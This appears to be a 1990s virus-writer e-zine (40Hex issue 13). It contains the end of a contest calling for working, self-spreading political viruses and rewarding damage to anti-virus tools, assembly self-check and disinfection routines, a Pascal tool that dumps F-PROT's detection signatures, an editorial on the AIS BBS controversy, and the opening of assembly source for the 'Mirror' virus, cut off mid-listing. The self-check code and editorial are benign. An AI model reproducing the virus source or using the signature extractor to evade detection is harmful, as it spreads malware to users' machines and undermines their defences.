every move--whose every action--is politically motivated. If you need more than one virus to make your point--perhaps two viruses working together, or something like that, that is fine. ----------------------------------------------------------- Let me give you a simple example: The Political Correctness Virus This virus is a spoof on the "political correctness" movement--which is just a form of self-imposed censorship-- that is sweeping american intellectual circles, particularly colleges and universities. This virus is a memory resident boot sector virus which maintains a list of politically incorrect words on your computer system. It also hooks the keyboard interrupt and monitors every keystroke you make. If you type a politically incorrect word into the computer, the PCV springs into action. Politically incorrect words are ranked at three different offense levels. When the PCV encounters such a word, it determines what offense level that word is, and acts accordingly. The least offensive words merely register a beep. More offensive words cause a beep to sound for 10 seconds. The most offensive words cause a siren to sound for two minutes, locking the system for that duration. If you turn the computer off before the two minutes are up, the virus will stop the boot process for five minutes, with sirens, when you turn it back on. If you allow the siren to complete, then you can proceed. The virus has two different word lists, both stored in an encrypted and compressed format. The list is selected at random when the system is infected, after which it cannot be changed. The first list is the "proper" list of political correctness no-no's. For example, a word like "sodomite" is among the worst possible offenses. The second list is an inverted list of no-no's. This list trys to force you to use "sodomite" by flagging words like "gay" and "homosexual" as no-no's. If you allow the PCV to live in your system for three months without getting a single flag, you are given the supreme honor of viewing the word list assigned to you and adding a word to it. If you get more than 3000 flags in a lifetime, the virus will force you to enter a politically correct word before allowing you to start the computer, since you are obviously unwilling to submit to its censorship. The virus also uses powerful means to prevent disinfection, so that, once you get it, you can't get rid of it without a major effort. ------------------------------------------------------------ Now, I know you can get a lot more creative than this--so do it! Design your virus carefully, so that everything it does has meaning. Then send it in. Here are the criteria we'll use: 1. Originality: Your virus must be an original work. Do not send us anything that is not 100% yours. Your message should be original too. Do not just ape what everybody else is saying, especially the media. Also, a refined wit is much to be preferred over vulgarity. Vulgarity is a substitute for original wit. Foul language, porn, etc., are out. Destructive features should be incorporated only if they are VERY appropriate (perhaps if you are commenting on real live genocide in your country, or something like that). In general, though, destructive features will hurt you, not help you. The one exception is modifying anti-virus programs. That is considered to be CONstructive activity. 2. Creativity: Make us laugh, make us cry. Amaze us with how bits and bytes can say something about politics and issues. Think of it like this: displaying a message on the screen is like reading a text file. What we want is the equivalent of a multi-media extrvaganza. Use all the system's resources to tell your message. Don't be afraid to write a virus that has some wierd mode of infecting programs that tells a story, or to write one that sends faxes to the White House, or sends an automatic request for reams of free information to some government agency. 3. Functionality: The virus has to work. If it only works on some machines, or under some versions of DOS, or what-not, then that will count against you. The better it is at infecting systems and moving around, the better off you will be. So, for example, if you write a file-infector, make sure it can jump directories, and--if you're up to it--migrate across a network. 4. Political incorrectness: Since computer viruses are politically incorrect, their message should be too. If you send us a pro-establishment virus, then you will not win this contest. A word to the wise: think twice about what's correct and what's not. Many positions are only superficially incorrect, though they are really quite fasionable among the establishment. Look at it this way: if you could get a well- written letter expressing your view published in a big city newspaper, then it's not sufficiently incorrect. There are a LOT of ideas that are unofficially censored by society-- especially the media and academia. They tend to make themselves out to be the rebels, but they are really the establishment. If you can't think of anything creatively incorrect and sufficiently obnoxious then you shouldn't be writing viruses in the first place. ************************************************************* How to Submit an Entry You may mail your entry to American Eagle Publications at the above address, or you may e-mail it to ameagle@mcimail.com. Alternatively, you can submit it by dialing the Crypt Infosystems BBS and uploading it there. To get on to the system quickly, efficiently and anonymously, log on as VIRUS, using the password CONTEST. An entry consists of: 1. A complete copy of your virus, both source and executable files. 2. If the political satire isn't perfectly obvious, send a verbal description of how the virus works and why it does what it does. This is especially important if you are not an American and you are commenting on something that has not received worldwide attention. I don't care if you're Bulgarian and you're commenting on something we've never heard of--just make sure you explain it, or we won't understand and you'll lose. 3. If you want to be recognized for your work, include your name (real or handle), and a way we can get in contact with you. By submitting an entry, you grant American Eagle Publications, Inc. the right to publish your virus in any form. You agree not to make your virus public prior to July 25, 1994. If you do, you are automatically disqualified from the contest. For the sake of privacy, you may encrypt your entry and send it in with the following PGP key (which we highly recommend if you have PGP): -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.1 mQCNAi09jVgAAAEEAN3M9LFQXeBprkZuKo5NtuMC+82qNd3/8saHLO6iuGe/eUai 8Vx7yqqpyLjZDGbAS7bvobrcY3IyFeu8PXG4T8sd+g81P0AY0PHUqxxPG3COvBfP oRd+79wB66YCTjKSwd3KVaC7WG/CyXDIX5W6KwCaGL/SFXqRChWdf2BGDUCRAAUR tApDT05URVNUXzk0 =Z20c -----END PGP PUBLIC KEY BLOCK----- Good luck! **************************************************************** P R I Z E S In addition to instant worldwide fame and recognition, you'll get: 1. A cash prize of $100 US. 2. A year's subscription to Computer Virus Developments Quarterly. 3. Your virus will be published in Computer Virus Developments Quarterly, and other fine journals. 4. A handsome engraved plaque recognizing your contribution to the betterment of mankind. 5. A free secret surprise that we cannot tell you about right now, valued at $100. Two runner-ups will receive the secret surprise. ***************************************************************** !! GO FOR IT !! ***************************************************************** * Beware of [PLURG] * [EoF]40Hex Number 13 Volume 4 Issue 1 File 002 EXE Self-Disinfection By Dark Angel of Phalcon/Skism In the last issue of 40Hex, Demogorgon presented an article on self- disinfecting COM files. COM file disinfection is simplistic and very straightforward. In this article, we shall deal with the somewhat more complex topic of EXE file self-disinfection. You should already be familiar with the EXE file header and how each of the fields work. A brief summary follows (a fuller treatment may be found in 40Hex-8.007): Offset Description 00 'MZ' or 'ZM' EXE signature word 02 Bytes in last page of the image 04 Number of pages in the file 06 Number of relocation items 08 Size of the header in paragraphs 0A Minimum memory required in paragraphs 0C Maximum memory requested in paragraphs 0E Initial SS, offset from header in paragraphs 10 Initial SP 12 Negative checksum (ignored) 14 Initial IP 16 Initial CS, offset from header in paragraphs 18 Offset of relocation table from start of file 1A Overlay number (ignored) There are several methods which allow a virus to infect an EXE file. The most common method involves the virus twiddling with the entry point of the program to point to the virus. Another involves the virus altering the code at the original entry point to jmp to its own code. A further method involves the virus simply overwriting the code at the entry point and storing the original code somewhere else, possibly at the end of the file. A final method involves altering the structure of the EXE file so it is instead recognised as a COM file. The ideal self-check routine should be able to handle all these cases. Part 1 - Detection ~~~~~~~~~~~~~~~~~~ The strategy for detection is simple; one simply needs to store a copy of the original header and the first few bytes located at the entry code. When the program executes, simply check these bytes to those found in the copy of the program located on the disk. If they differ, then there is clearly something amiss. This is essentially the same as the process for COM self- checking, but an extra layer of complexity is added since the header is not loaded into memory at startup. This minor difficulty may be readily overcome by simply physically storing the header at some point in the program. Since the header is not known before assembling the file, it is necessary to patch the header into the file after assembly. This may be done rather easily with a simple utility called 40patch. It will insert the header and the first 20h (32d) bytes at the entry point of an EXE file at the first occurence of the string 'Dark Angel eats goat cheese.' in the program. This string is exactly the length of the header, so be sure to allocate an additional 20h bytes after the string for the entry point code. A sample self-checking program follows: ----EXE Self-Check Program 1 begin---- .model small .radix 16 .code ; Self-Checking EXE 1 ; Written by Dark Angel of Phalcon/Skism ; For 40Hex #13 ; To assemble: (tested with TASM 2.0) ; tasm ; tlink entry_point: mov ah,51 ; Get current PSP to BX int 21 mov ds,bx mov bx,ds:2c ; Search the environment for mov es,bx ; our own filename. Note that mov di,1 ; this only works in DOS 3+. xor ax,ax dec di ; It also won't work if the scasw ; environment has been jnz $ - 2 ; released. xchg dx,di inc dx inc dx push es ; filename to ds:dx pop ds mov ax,3d02 ; unless this handler is int 21 ; tunneled, a virus may xchg ax,bx ; infect it mov ax,_DATA mov ds,ax ; restore DS and ES mov es,ax jc error mov cx,1c ; check the header for mov si,offset header ; corruption call read_buffer jc close_error mov ax,4200 ; go to the entry point xor cx,cx mov dx,word ptr [header+8] add dx,word ptr [header+16] rept 4 shl dx,1 adc cx,0 endm add dx,word ptr [header+14] ; add this to the entry point adc cx,0 ; offset from header int 21 jc close_error mov cx,20 ; now check the first 32 bytes mov si,offset first20 ; for corruption call read_buffer jc close_error close_error: pushf mov ah,3e ; close the file int 21 popf jc error mov dx,offset good ; In an actual program, replace ; this line with a JMP to the jmp short $+5 ; program entry point error: mov dx,offset bad mov ah,9 int 21 mov ax,4c00 int 21 read_buffer: mov ah,3f mov dx,offset readbuffer int 21 jc error_read clc cmp ax,cx jnz error_read xchg dx,di rep cmpsb clc jz $+3 error_read: stc ret .data good db 'Self-check passed with flying colours.',0Dh,0A,'$' bad db 'Self-check failed. Program may be infected!' db 0Dh,0A,'$' ;0123456789ABCDEF0123456789AB header db 'Dark Angel eats goat cheese.' first20 db 20 dup (0) readbuffer db 20 dup (?) .stack db 100 dup (?) end entry_point ----EXE Self-Check Program 1 end---- ----40patch begin---- .model tiny .code .radix 16 org 100 ; 40patch ; Written by Dark Angel of Phalcon/Skism ; For 40Hex #13 ; To assemble: (tested with TASM 2.0) ; tasm /m 40patch ; tlink /t 40patch ; Syntax: ; 40patch filename.exe ; 40patch will take the executable and patch in the ; header and the first 32d bytes at the entry point in the first ; occurence of the string 'Dark Angel eats goat cheese.' in the ; executable. patch: mov ah,9 mov dx,offset welcome int 21 mov si,82 back: lodsb cmp al,0dh jnz back dec si xchg si,di mov byte ptr [di],0 mov dx,82 mov ax,3d02 int 21 xchg ax,bx jnc open_okay mov si,offset extension movsw movsw movsb mov dx,82 mov ax,3d02 int 21 xchg ax,bx jnc open_okay mov dx,offset syntax error: mov ah,9 int 21 mov ax,4c01 int 21 open_okay: mov ah,3f mov cx,1c mov dx,offset header int 21 mov ah,3f mov cx,20 mov dx,offset scratchbuffer int 21 find_signature: xor ax,ax mov di,offset scratchbuffer + 20 mov cx,(100 - 20) / 2 rep stosw mov ah,3f mov cx,100 - 20 mov dx,offset scratchbuffer + 20 int 21 or ax,ax jz signature_not_found add ax,offset scratchbuffer - signature_length + 20 xchg bp,ax mov ax,'aD' mov di,offset scratchbuffer try_again: scasw jz signature_check dec di cmp di,bp ja try_next_bytes jmp short try_again signature_check:mov si,offset signature + 2 mov cx,signature_length - 2 rep cmpsb jz signature_found jmp short try_again try_next_bytes: mov si,offset scratchbuffer + 100 - 20 mov di,offset scratchbuffer mov cx,10 rep movsw jmp short find_signature signature_not_found: mov dx,offset no_signature jmp short error signature_found:sub di,bp sub di,1c * 2 xchg dx,di or cx,-1 mov ax,4201 int 21 mov ah,40 mov dx,offset header mov cx,1c int 21 mov ax,4201 xor cx,cx cwd int 21 push dx ax mov ax,4200 ; go to the entry point xor cx,cx mov dx,word ptr [header+8] add dx,word ptr [header+16] rept 4 shl dx,1 adc cx,0 endm add dx,word ptr [header+14] adc cx,0 int 21 mov ah,3f mov dx,offset first20 mov cx,20 int 21 pop dx cx mov ax,4200 int 21 mov ah,40 mov dx,offset first20 mov cx,20 int 21 mov ah,3e int 21 mov ah,9 mov dx,offset graceful_exit int 21 mov ax,4c00 int 21 welcome db '40patch',0Dh,0A,'$' graceful_exit db 'Completed!',0Dh,0A,'$' syntax db 'Syntax:',0Dh,0A,' 40patch filename.exe',0Dh,0A,'$' no_signature db 'Error: Signature not found.',0Dh,0A,'$' extension db '.EXE',0 signature db 'Dark Angel eats goat cheese.' signature_length = $ - signature header db 1c dup (?) first20 db 20 dup (?) scratchbuffer db 100 dup (?) end patch ----40patch end---- To test out the programs above, first assemble them both. Next, run 40patch on the EXE file. If the EXE file is -subsequently- altered in any way, then it will alert the user of the problem. Note that this will do nothing for a program that is infected prior to 40patching, so be sure to run it on a clean system. This simple self-checking mechanism won't catch spawning viruses. However, it is trivial to add such a check. Part 2 - Disinfection ~~~~~~~~~~~~~~~~~~~~~ Usual methods (for there are many oddball variants) of infecting an EXE file involve appending the virus code to the end of the executable. With this knowledge in hand, it is sometimes possible to reconstruct an infected EXE file without too much difficulty. A simple modification of the previous program will suffice: ----EXE Self-Check Program 2 begin---- .model small .radix 16 .code ; Self-Checking EXE 2 ; Written by Dark Angel of Phalcon/Skism ; For 40Hex #13 ; To assemble: (tested with TASM 2.0) ; tasm ; tlink entry_point: mov ah,51 ; Get current PSP to BX int 21 mov ds,bx mov bx,ds:2c ; Search the environment for mov es,bx ; our own filename. Note that mov di,1 ; this only works in DOS 3+. xor ax,ax dec di ; It also won't work if the scasw ; environment has been jnz $ - 2 ; released. xchg dx,di inc dx inc dx push es ; filename to ds:dx pop ds mov ax,3d02 ; unless this handler is int 21 ; tunneled, a virus may xchg ax,bx ; infect it mov ax,_DATA mov ds,ax ; restore DS and ES mov es,ax mov errorcount,0 mov cx,1c ; check the header for mov si,offset header ; corruption call read_buffer mov ax,4200 ; go to the entry point xor cx,cx mov dx,word ptr [header+8] add dx,word ptr [header+16] rept 4 shl dx,1 adc cx,0 endm add dx,word ptr [header+14] ; add this to the entry point adc cx,0 ; offset from header int 21 mov cx,20 ; now check the first 32 bytes mov si,offset first20 ; for corruption call read_buffer mov ah,3e ; close the file int 21 mov dx,offset good cmp errorcount,0 jz $+5 mov dx,offset errors mov ah,9 int 21 mov ax,4c00 int 21 read_buffer: mov ah,3f mov dx,offset readbuffer int 21 jc error_read clc cmp ax,cx jnz error_read xchg dx,di mov bp,si rep cmpsb jz read_buffer_ok push ax xchg ax,dx neg dx or cx,-1 mov ax,4201 int 21 mov ah,40 xchg bp,dx pop cx int 21 mov dx,offset bad inc errorcount jmp short $+5 error_read: mov dx,offset read_error mov ah,9 int 21 read_buffer_ok: ret .data good db 'Self-check passed.',0Dh,0A,'$' errors db 'Errors were detected.',0Dh,0A,'$' bad db 'Self-check failed. Fixing (may not work).' db 0Dh,0A,'$' read_error db 'Error reading file.',0Dh,0A,'$' ;0123456789ABCDEF0123456789AB header db 'Dark Angel eats goat cheese.' first20 db 20 dup (0) readbuffer db 20 dup (?) errorcount db ? .stack db 100 dup (?) end entry_point ----EXE Self-Check Program 2 end---- Summary ~~~~~~~ In general, it is poor practise to rely upon self-disinfection. The ancient (!) adage 'restore from backups' is best followed upon the discovery of an infection. However, it is helpful for programs to have a degree of self- awareness in order to alert the user of a virus's presence before it has a chance to spread too far. Disinfection will allow the user to continue using some programs (under certain circumstances) without fear of further spreading the virus. 40Hex Number 13 Volume 4 Issue 1 File 003 =============================================================================== Extracting virus signatures from F-PROT by Peter Vincent The program included here does just that: Extracts signatures used by the notorious anti-virus product F-PROT. Before we get to the code though, there are a couple of things that need to be said. There are two sets of signatures used in F-PROT. One is used by F-PROT.EXE, and is included in a file named SIGN.DEF, while the other is used by VIRSTOP.EXE and is included in VIRSTOP.EXE itself. A virus signature is defined as a sequence of hex bytes, which can also include one or more wildcards. A wildcard, represented here as "??", matches any given hex byte. F-PROT does not use wildcards that can match more than one byte. Note that F-PROT defines at least two different signatures for each virus. This is apparently aimed at better identification of viruses. Also, the search algorithm used ignores any hex bytes of value 90 or CC. This means that code that contains a F-PROT signature with some of these bytes inserted into it will still match the signature. In addition to signatures for detecting known viruses, there are a few other signatures included that can presumably detect some unknown viruses. These signatures are named as "unknown". How to extract signatures from F-PROT: easy as 1-2-3. Extract the source code included here and store it to a file named GETFP211.PAS. Compile this program with Turbo Pascal (version 4.0 or later). Copy SIGN.DEF and VIRSTOP.EXE from F-PROT distribution to the default DOS directory, and run GETFP211. On successful completion, two text files will be created: F-PROT.STR and VIRSTOP.STR. They will contain the signatures found in SIGN.DEF and VIRSTOP.EXE, respectively. Each line of these files will contain a signature, and the corresponding virus name on every line. VIRSTOP signatures for boot sector viruses are not included. The program has been tested to work successfully with F-PROT 2.11; it might or might not work with future versions if they change the formats. The internal format used by F-PROT to store signatures can be easily retrieved by reading the source code by any knowledgeable programmer. And now for the source code: --- Begin GETFP211.PAS -------------------------------------------------------- { GETFP211.PAS: Extract virus signatures from F-PROT version 2.11. This program is in the Public Domain. Courtesy of Peter Vincent. } {$i-,r-} program getfpstr; type ba = array[0..$fffe] of byte; wa = array[0..$7ffe] of word; bp = ^ba; wp = ^wa; function alloc(i: word): pointer; var p: pointer; begin if maxavail < i then begin writeln('Error: Not enough memory.'); halt(1); end; getmem(p,i); alloc := p end; procedure writesig(var f: text; var s, name: string; x: char); const hexstr: string[16] = '0123456789ABCDEF'; var i: word; c: char; begin for i := 1 to length(s) do begin c := s[i]; if c = x then write(f,'?? ') else write(f,hexstr[ord(c) shr 4+1],hexstr[ord(c) and 15+1],' '); end; for i := length(s)*3 to 79-length(name) do write(f,' '); writeln(f,name); end; procedure dovirstop; var len: longint; virstop: pointer; adj: word; procedure readvirstop; var f: file; begin writeln('Reading VIRSTOP.EXE...'); assign(f,'VIRSTOP.EXE'); reset(f,1); if ioresult <> 0 then begin writeln('Error: Cannot open VIRSTOP.EXE.'); halt(1); end; len := filesize(f); if len > $fffe then begin writeln('Error: VIRSTOP.EXE too big.'); halt(1); end; virstop := alloc(len); blockread(f,virstop^,len); if ioresult <> 0 then begin writeln('Error: Cannot read VIRSTOP.EXE.'); halt(1); end; close(f); case wp(virstop)^[0] of $5a4d, $4d5a: else begin writeln('Error: VIRSTOP.EXE is invalid.'); halt(1); end; end; adj := wp(virstop)^[4]*16 end; procedure writesigs; var i,j,k,l,startpos,endpos,sigcnt: word; found: boolean; f: text; buf: array[0..2047] of byte; sig, name: string; procedure chkioerr; begin if ioresult <> 0 then begin writeln('Error: Cannot write to VIRSTOP.STR.'); halt(1); end; end; begin found := false; j := 0; k := 0; for i := 0 to len-1 do if chr(bp(virstop)^[i]) = '$' then begin if i-j > 30 then if found then begin endpos := j-adj; i := len-1; end else startpos := i-adj-30 else if not found then begin inc(k); if k = 20 then inc(found); end; j := i; end; sigcnt := 0; if found then for i := 0 to len-1 do begin j := i; k := 0; found := true; while found do begin l := bp(virstop)^[j]; if (l-1 > 24) or (wp(@bp(virstop)^[j+l+1])^[0]-startpos > endpos) then dec(found) else begin inc(k); inc(j,l+3); end; end; if k >= 20 then begin if sigcnt = 0 then begin writeln('Writing VIRSTOP.STR...'); assign(f,'VIRSTOP.STR'); settextbuf(f,buf,sizeof(buf)); rewrite(f); chkioerr; end; k := i; repeat sig := ''; for l := bp(virstop)^[k] downto 1 do begin inc(sig[0]); sig[length(sig)] := chr(bp(virstop)^[k+l]); end; inc(k,bp(virstop)^[k]+3); name := ''; l := wp(@bp(virstop)^[k-2])^[0]+adj; while chr(bp(virstop)^[l]) <> '$' do begin inc(name[0]); name[length(name)] := chr(bp(virstop)^[l]); inc(l); end; writesig(f,sig,name,#$fe); chkioerr; inc(sigcnt); until k = j; writeln(f); chkioerr; i := k; end; end; if sigcnt <> 0 then begin close(f); chkioerr; writeln(sigcnt,' signatures found in VIRSTOP.EXE.'); end else writeln('Error: No signatures found in VIRSTOP.EXE.'); end; begin readvirstop; writesigs; freemem(virstop,len); end; procedure dosigndef; var sigs, nameidx, names: pointer; procedure readsigndef; var f: file; date: record y: word; d,m: byte end; procedure chkioerr; begin if ioresult <> 0 then begin writeln('Error: Cannot read SIGN.DEF.'); halt(1); end; end; procedure checksigndef; var buf: array[0..4095] of byte; i: word; l,c0,c1: longint; function rol(l: longint): longint; begin rol := l shl 1 or l shr 31 end; begin l := filesize(f)-4; c0 := 0; repeat c1 := 0; i := sizeof(buf); if l < i then i := l; blockread(f,buf,i); chkioerr; dec(l,i); for i := 0 to i-1 do c1 := rol(c1) xor buf[i]; c0 := c0 xor c1; until l = 0; blockread(f,c1,sizeof(c1)); chkioerr; if c0 <> c1 then begin writeln('Error: SIGN.DEF has an invalid checksum.'); halt(1); end; end; procedure readsigs; const frisk: string[15] = 'Copyright (c) F'; var l: longint; i,c: word; x: byte; function ror(x: byte): byte; begin ror := x shr 1 or x shl 7; end; begin seek(f,0); blockread(f,l,sizeof(l)); chkioerr; seek(f,l+4); blockread(f,i,sizeof(i)); chkioerr; sigs := alloc(i-8); blockread(f,sigs^,i-8); chkioerr; c := -wp(@bp(sigs)^[i-10])^[0]; for i := 0 to i-11 do begin x := not ror(bp(sigs)^[i]) xor ord(frisk[i mod 100 mod 15+1]); x := x xor i mod 100; bp(sigs)^[i] := x; inc(c,x xor i mod 100) end; if c <> 0 then begin writeln('Error: Invalid signatures checksum.'); halt(1); end; end; procedure readnames; var i: word; begin blockread(f,i,sizeof(i)); chkioerr; nameidx := alloc(i*2); blockread(f,nameidx^,i*2); chkioerr; i := filesize(f)-filepos(f)-4; names := alloc(i); blockread(f,names^,i); chkioerr; date.y := not wp(@bp(names)^[i-4])^[0]; date.d := not bp(names)^[i-2]; date.m := not bp(names)^[i-1]; end; begin writeln('Reading SIGN.DEF...'); assign(f,'SIGN.DEF'); reset(f,1); if ioresult <> 0 then begin writeln('Error: Cannot open SIGN.DEF.'); halt(1); end; checksigndef; readsigs; readnames; writeln('Signatures created ',date.m,'-',date.d,'-',date.y); close(f); end; procedure writesigs; var buf: array[0..2047] of byte; i,sigcnt: word; f: text; sig, name: string; procedure chkioerr; begin if ioresult <> 0 then begin writeln('Error: Cannot write to F-PROT.STR.'); halt(1); end; end; procedure extract(n: word); var i,j,k: word; begin inc(sig[0]); for i := 1 to bp(sigs)^[n] do begin sig[length(sig)] := chr(bp(sigs)^[n+i+1]); j := wp(@bp(sigs)^[n+bp(sigs)^[n]])^[i]; if i > bp(sigs)^[n+1] then extract(j-8) else begin inc(j,512); for k := bp(sigs)^[j] downto 1 do begin inc(sig[0]); sig[length(sig)] := chr(bp(sigs)^[j+k]); end; k := wp(@bp(sigs)^[j+bp(sigs)^[j]+1])^[0]; if k = 0 then name := 'unknown' else begin k := wp(nameidx)^[k-1]; name := ''; while bp(names)^[k] <> 0 do begin inc(name[0]); name[length(name)] := chr(bp(names)^[k]); inc(k); end; end; writesig(f,sig,name,#$90); chkioerr; dec(sig[0],bp(sigs)^[j]); inc(sigcnt); end; end; dec(sig[0]); end; begin writeln('Writing F-PROT.STR...'); assign(f,'F-PROT.STR'); settextbuf(f,buf,sizeof(buf)); rewrite(f); chkioerr; sigcnt := 0; for i := 0 to 255 do begin sig := chr(i); if wp(sigs)^[i] >= 512 then extract(wp(sigs)^[i]-8); end; writeln(f); chkioerr; close(f); chkioerr; writeln(sigcnt,' signatures found in SIGN.DEF.'); end; begin readsigndef; writesigs; end; begin dovirstop; dosigndef; writeln('Done.'); end. --- End GETFP211.PAS ---------------------------------------------------------- <<< end of file >>> 40Hex Number 13 Volume 4 Issue 1 File 004 ------------------------------------------------------------------------- In 40Hex Number 12 Volume 3 Issue 3, Geoff Heap authored a commentary concerning the Department of Treasury's (Bureau of Public Debt) AIS Bulletin Board System, which was at the core of a controversy concerning the United States Government's role in computer information systems. Heap wrote: > [Not so] Recently, the AIS BBS was shut down because of an anonymous > letter which stated that the AIS BBS contained and distributed virus > source code and helped system hackers develop and test malicious > programs. While the AIS system did indeed contribute to fruitful research into malicious programs, computer viruses and the like, the immediate controversy surrounding its role as a representative of a United States government resource became apparent. Particular questions began to surface: o What was the purpose of this system? o Were computer viruses, virus source code and other malicious software being made available to those who could, in turn, use them for damaging or unethical purposes? o Was this system officially sanctioned by the Department of Treasury? If so, what was its official policy on the operation of this system? o Should the United States government, in any capacity, be operating a system such as AIS? In fact, the questions are too numerous to list, and the answers to them are subjective to personal opinion. Heap went on to write: > The Bureau of Public Debt has little to do with protecting our > country, and in regards to viruses, there is no agency who can protect > you from viruses. There is however a way you can protect yourselves. > It is through awareness that you can protect your data from the damages > incurred by malicious intent. The same awareness that the Bureau of > Public Debt was trying to make publicly available on AIS BBS. Before > the government did it, everyone else had already done it. This fact may > alarm some people, but I would estimate that there are well over 200 > other systems in the United States alone that currently distribute virus > code to people who very well could end up distributing it to other > people without their consent. I am a tax paying citizen of the USA, and > I know I would rather hear that we spend a couple hundred dollars > educating the public on computer viruses then hear about the thousands > of dollars in damage done by miscellaneous computer viruses that hit > companies and wipe out all their data. By closing down AIS BBS, the > door for virus writers to obtain virus source remains wide open, while > the people who could find the information valuable, if not necessary for > their jobs, just had the only door open to them slammed shut and locked, > maybe forever. It is hard to tell who hurts us more - Those who make it > harder for computer users to protect themselves, or those who sit in > blind ignorance. Heap expresses some valid points in the above paragraph, however, much of his sentiment is subjective opinion. While there are many private systems scattered throughout the digital landscape that do make malicious programs, viruses, stolen credit card information and other controversial or illegal data available on-line, the AIS system represented the first system established and apparently advocated by the United States government. (Although stolen credit card numbers are among the wares of many underground bulletin board systems, this was never one of the issues surrounding the AIS system.) The controversy surrounding the ethical issues of the AIS system are equally subjective, in fact, academic. The core issue, in my own subjective opinion, is whether the United States government has any business dabbling in that area to begin with. We, as a digital society, are standing on the threshold of a brave new world in telecommunications. Within our generation, we will witness the doors of the digital highways of the world opening to more and more people every day, from school children to genetic scientists to commercial and corporate conglomerates. It will touch all of our lives and make the world a much smaller place. The current political administration in the United States has recognized this, and has established their own policy on the "National Information Infrastructure," more commonly recognized by the acronym NII. While the impact and effects of the United States government's policies concerning the NII are yet to be determined, many still believe that participation of government in any capacity within the digital frontier can only lead to mismanagement, bureaucracy and abuses witnessed in other governmental agencies. Also, there are darker issues to consider, such as government-sponsored intelligentsia and encryption and privacy issues. All in all, many believe that the NII will lead to a new era in Big Brother for the 21st century. The intents and conceptions of the AIS may have been noble and genuine; I believe this to be the case. In fact, I commend Kim Clancy (who was the administrator of the AIS system) on her efforts in the computer and telecommunications security arena. To understand, research and educate on the topic alone merits commendation. There are, however, digital boundaries between "a good thing" and government sponsorship. Government influence or sponsorship always raises red flags in cyberspace. That's just the nature of the beast. Combine this with the fact that malicious software was possibly being provided by the AIS system, and you've got a political hot potato. The bottom line remains in question. No one argues the need for the ability to understand the nature of malicious software, nor the need for computer users to protect themselves. This argument is ludicrous. The argument remains, however, on the need or validity for the United States government to operate a system which may contribute to the existing problem. Disclaimer: Opinions expressed above are my individual views and do not reflect the opinions of US Sprint, nor are they intended to be construed as such. ________________________________________________________________________ Paul Ferguson Internet Engineer US Sprint Herndon, Virginia USA internet: ferguson@icp.net 8<-------------------- cut here ----------------------------------------- Paul Ferguson is currently an Internet Engineer for US Sprint in Herndon, Virginia. He has consulted in computer network and telecommunications technologies for numerous government agencies and corporations including NASA and Computer Sciences Corporation. Ferguson also previously indicated that he was the person who anonymously posted a message to the Usenet Newsgroup RISKS, which triggered the AIS Bulletin Board controversy. He can be reached on the Internet at ferguson@icp.net. 40Hex Number 13 Volume 4 Issue 1 File 005 8<--------------------------------------------------------------->8 ;*****************************************************************************; ; ; ; Mirror: ; ; ; ; Mirror is the reverse of Stealth techniques. This virus doesn't hide the ; ; virus, but but let the scanner think every program is infected by the ; ; virus. The virus is also made to work with every exe file that uses ; ; internal overlays, by making all running programs stealth. ; ; ; ;*****************************************************************************; code segment public 'code' assume cs:code, ds:code, es:code org 100h VirusTop equ $ VirusSize equ (VirusEnd - $) MemorySize equ (MemoryEnd - $ + VirusSize) EntryPoint: mov dx,ds call ExeMain Relocate equ ($ - VirusTop) ComExe equ byte ptr [$ - VirusTop - 2] ExeID equ (ExeMain - $) ComID equ (ComMain - $) HeaderLength equ 1ah TheHeader equ $ Header equ word ptr [$ - VirusTop] JumpOpcode equ byte ptr [$ - VirusTop] JumpDisp equ word ptr [$ - VirusTop + 01h] PartPage equ word ptr [$ - VirusTop + 02h] PageCount equ word ptr [$ - VirusTop + 04h] ReloCount equ word ptr [$ - VirusTop + 06h] HeaderSize equ word ptr [$ - VirusTop + 08h] MinMem equ word ptr [$ - VirusTop + 0ah] MaxMem equ word ptr [$ - VirusTop + 0ch] ExeSS equ word ptr [$ - VirusTop + 0eh] ExeSP equ word ptr [$ - VirusTop + 10h] Signature equ word ptr [$ - VirusTop + 12h] ExeEntry equ dword ptr [$ - VirusTop + 14h] ExeIP equ word ptr [$ - VirusTop + 14h] ExeCS equ word ptr [$ - VirusTop + 16h] RelocationOfs equ word ptr [$ - VirusTop + 18h] dw "ZM",6 dup(0),0,0ffeh,?,0,-10h,0 VirusID equ byte ptr [$ - VirusTop] db '[ Mirror: Bit Addict / TridenT ]' GotoNewCS: db 0eah dw Continue - VirusTop,? NewCodeSegment equ word ptr [$ - VirusTop - 2] ExecuteProg: mov ax,1234h SavedPSP equ word ptr [$ - VirusTop - 2] mov ds,ax mov es,ax mov ax,1234h SavedRegAX equ word ptr [$ - VirusTop - 2] mov dx,1234h InitExeSS equ word ptr [$ - VirusTop - 2] mov ss,dx mov sp,1234h InitExeSP equ word ptr [$ - VirusTop - 2] db 0eah,?,?,?,? InitExeIP equ word ptr [$ - VirusTop - 4] InitExeCS equ word ptr [$ - VirusTop - 2] Continue: mov ss,cs:InitExeSS mov sp,cs:InitExeSP sti mov ax,1234h PatchSegment equ word ptr [$ - VirusTop - 2] mov bx,1234h PatchOffset equ word ptr [$ - VirusTop - 2] mov ds,ax mov byte ptr ds:[bx-1],9ah mov word ptr ds:[bx],(Dos - VirusTop) mov word ptr ds:[bx+2],cs mov ah,3fh xor bx,bx mov cx,1 mov dx,-1 int 21h mov ah,40h inc bx int 21h mov ds,cs:SavedPSP mov ax,ds:[2ch] mov ch,-1 xor di,di mov es,ax push cs pop ds SearchComspec: or ax,ax je ExecuteProg mov cx,8 mov dx,di mov si,offset Comspec cld repe cmpsb xchg dx,di je ComspecFound xor ax,ax mov ch,0ffh repne scasb mov al,es:[di] jmp SearchComspec ComspecFound: push es pop ds mov ax,3d00h int 21h jc ExecuteProg xchg ax,bx mov ah,3fh xor cx,cx mov dx,-1 int 21h mov ah,3eh int 21h jmp ExecuteProg Comspec equ byte ptr [$ - VirusTop] db 'COMSPEC=' ComMain: pop si mov cx,HeaderLength mov di,100h mov ds:InitExeSS[si - Relocate],ss mov ds:InitExeSP[si - Relocate],sp mov ds:InitExeCS[si - Relocate],cs mov ds:InitExeIP[si - Relocate],di cld rep movsb sub si,Relocate + HeaderLength jmp short Main ExeMain: pop si sub si,Relocate mov bx,ds add bx,10h mov cx,bx push cs pop ds add bx,ds:ExeSS[si] mov ds:InitExeSS[si],bx mov bx,ds:ExeSP[si] mov ds:InitExeSP[si],bx add cx,ds:ExeCS[si] mov ds:InitExeCS[si],cx mov cx,ds:ExeIP[si] mov ds:InitExeIP[si],cx Main: mov ds:SavedPSP[si],dx mov ds:SavedRegAX[si],ax 